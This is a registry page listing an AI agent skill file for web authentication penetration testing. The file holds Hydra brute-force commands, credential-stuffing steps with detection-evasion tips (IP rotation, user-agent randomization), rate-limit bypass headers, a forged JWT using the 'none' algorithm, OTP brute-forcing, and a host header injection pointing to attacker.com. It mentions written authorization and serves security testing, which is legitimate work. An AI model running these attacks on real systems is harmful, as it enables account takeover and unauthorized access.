broken-authentication
Skill2 starsChanged 42 days agoMITView on GitHub
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems.
2 other projects use a version of this, 2 of them edited.
Adopted by
Most recently taken up by
- zebbern/claude-code-guideedited, first seen Oct 30, 2026
- lschGSL/claude_code_templateedited, first seen Apr 9, 2026
Other versions2 projects use a version of this.
Word for word · 0
None found.
Edited · 2
- zebbern/claude-code-guide★ 4.7k96% same
- lschGSL/claude_code_template★ 199% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository191 other files it gives its agents.
- AGENTS.mdAGENTS.md
- docs/agents.mdAGENTS.md
- skills/postgres-best-practices/AGENTS.mdAGENTS.md
- skills/react-best-practices/AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- accessibility-compliance-accessibility-auditSkill
- acquire-codebase-knowledgeSkill
- advanced-evaluationSkill
- agent-evaluationSkill
- alexSkill
- ariaSkill
- depSkill
- lunaSkill
- masonSkill
- maxSkill
- quinnSkill
- rexSkill
- agent-squadSkill
- ai-agent-developmentSkill
- ai-agents-architectSkill
- ai-engineering-toolkitSkill
- api-and-interface-designSkill
- api-design-principlesSkill
- api-documentation-generatorSkill
- api-documentationSkill
- api-documenterSkill
- api-endpoint-builderSkill
- api-fuzzing-bug-bountySkill
- api-patternsSkill
- api-security-testingSkill
- api-testing-observability-api-mockSkill
- application-performance-performance-optimizationSkill
- architecture-decision-recordsSkill
- architecture-patternsSkill
- async-python-patternsSkill
- attack-tree-constructionSkill
- autonomous-agent-patternsSkill
- aws-cost-optimizerSkill
- aws-serverlessSkill
- awt-e2e-testingSkill
- azure-functionsSkill
- backend-architectSkill
- backend-dev-guidelinesSkill
- backend-security-coderSkill
- brainstormingSkill
- breakdown-feature-implementationSkill
- breakdown-feature-prdSkill
- browser-testing-with-devtoolsSkill
- ci-cd-and-automationSkill
- clean-codeSkill
- cloud-architectSkill
- cloud-devopsSkill
- cloudformation-best-practicesSkill
- code-refactoring-refactor-cleanSkill
- code-refactoring-tech-debtSkill
- code-review-and-qualitySkill
- code-simplificationSkill
- comprehensive-review-full-reviewSkill
- comprehensive-review-pr-enhanceSkill
- container-security-hardeningSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
10 rules. About 0 are common, 10 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈10
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 33
Authentication Assessment Report: - Document all identified vulnerabilities
- Distinctive: line 80
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
- Distinctive: line 84
Test for username enumeration vulnerabilities:
- Distinctive: line 124
After how many attempts?
- Distinctive: line 156
Add delays between attempts
- Distinctive: line 231
Wait without activity (15, 30, 60 minutes)
- Distinctive: line 233
Check if session is still valid
- Distinctive: line 237
Check if forced logout after set period (8 hours, 24 hours)
- Distinctive: line 254
Test rate limiting on OTP endpoint
- Distinctive: line 273
Check for successful bypass
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Broken Authentication Testing
Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
Prerequisites
Required Knowledge
- HTTP protocol and session mechanisms
- Authentication types (SFA, 2FA, MFA)
- Cookie and token handling
- Common authentication frameworks
Required Tools
- Burp Suite Professional or Community
- Hydra or similar brute-force tools
- Custom wordlists for credential testing
- Browser developer tools
Required Access
- Target application URL
- Test account credentials
- Written authorization for testing
Outputs and Deliverables
- Authentication Assessment Report - Document all identified vulnerabilities
- Credential Testing Results - Brute-force and dictionary attack outcomes
- Session Security Analysis - Token randomness and timeout evaluation
- Remediation Recommendations - Security hardening guidance
Core Workflow
Phase 1: Authentication Mechanism Analysis
Understand the application's authentication architecture:
# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*Capture and analyze authentication requests:
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123Phase 2: Password Policy Testing
Evaluate password requirements and enforcement:
# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
Phase 3: Credential Enumeration
Test for username enumeration vulnerabilities:
# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messagesPassword reset
"Email sent if account exists" (secure) "No account with that email" (leaks info)
API responses
{"error": "user_not_found"} {"error": "invalid_password"}
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codesCheck for protections:
# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?
# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?
# CAPTCHA
- After failed attempts?
- Easily bypassable?Phase 5: Credential Stuffing
Test with known breached credentials:
# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches
# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins
# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attemptsPhase 6: Session Management Testing
Analyze session token security:
# Capture session cookie
Cookie: SESSIONID=abc123def456
# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?Session token analysis:
#!/usr/bin/env python3
import requests
import hashlib
# Collect multiple session tokens
tokens = []
for i in range(100):
response = requests.get("https://target.com/login")
token = response.cookies.get("SESSIONID")
tokens.append(token)
# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp componentsPhase 7: Session Fixation Testing
Test if session is regenerated after authentication:
# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123
# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid
# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after loginAttack scenario:
# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated sessionPhase 8: Session Timeout Testing
Verify session expiration policies:
# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid
# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)
# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-sidePhase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint
# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse
# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls
# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypassTest MFA enrollment:
# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?
# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?Phase 10: Password Reset Testing
Analyze password reset security:
# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
- Length and randomness
- Expiration time
- Single-use enforcement
- Account binding
# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token
# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
email=victim@email.com
# Reset email may contain attacker's domainQuick Reference
Common Vulnerability Types
| Vulnerability | Risk | Test Method |
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duration session testing |
| Insecure password reset | High | Token analysis, workflow bypass |
| MFA bypass | Critical | Direct access, response manipulation |
Credential Testing Payloads
# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user
# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123
# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted listsSession Cookie Flags
| Flag | Purpose | Vulnerability if Missing |
| HttpOnly | Prevent JS access | XSS can steal session |
| Secure | HTTPS only | Sent over HTTP |
| SameSite | CSRF protection | Cross-site requests allowed |
| Path | URL scope | Broader exposure |
| Domain | Domain scope | Subdomain access |
| Expires | Lifetime | Persistent sessions |
Rate Limiting Bypass Headers
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1Constraints and Limitations
Legal Requirements
- Only test with explicit written authorization
- Avoid testing with real breached credentials
- Do not access actual user accounts
- Document all testing activities
Technical Limitations
- CAPTCHA may prevent automated testing
- Rate limiting affects brute force timing
- MFA significantly increases attack difficulty
- Some vulnerabilities require victim interaction
Scope Considerations
- Test accounts may behave differently than production
- Some features may be disabled in test environments
- Third-party authentication may be out of scope
- Production testing requires extra caution
Examples
Example 1: Account Lockout Bypass
Scenario: Test if account lockout can be bypassed
# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"
# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1
# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked
# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accountsExample 2: JWT Token Attack
Scenario: Exploit weak JWT implementation
# Step 1: Capture JWT token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
# Step 2: Decode and analyze
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"user":"test","role":"user"}
# Step 3: Try "none" algorithm attack
# Change header to: {"alg":"none","typ":"JWT"}
# Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
# Step 4: Submit modified token
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.Example 3: Password Reset Token Exploitation
Scenario: Test password reset functionality
# Step 1: Request reset for test account
POST /forgot-password
email=test@example.com
# Step 2: Capture reset link
https://target.com/reset?token=a1b2c3d4e5f6
# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token
# Step 4: Test for user parameter manipulation
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
# Check if admin's password can be reset with test user's tokenTroubleshooting
| Issue | Solutions |
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

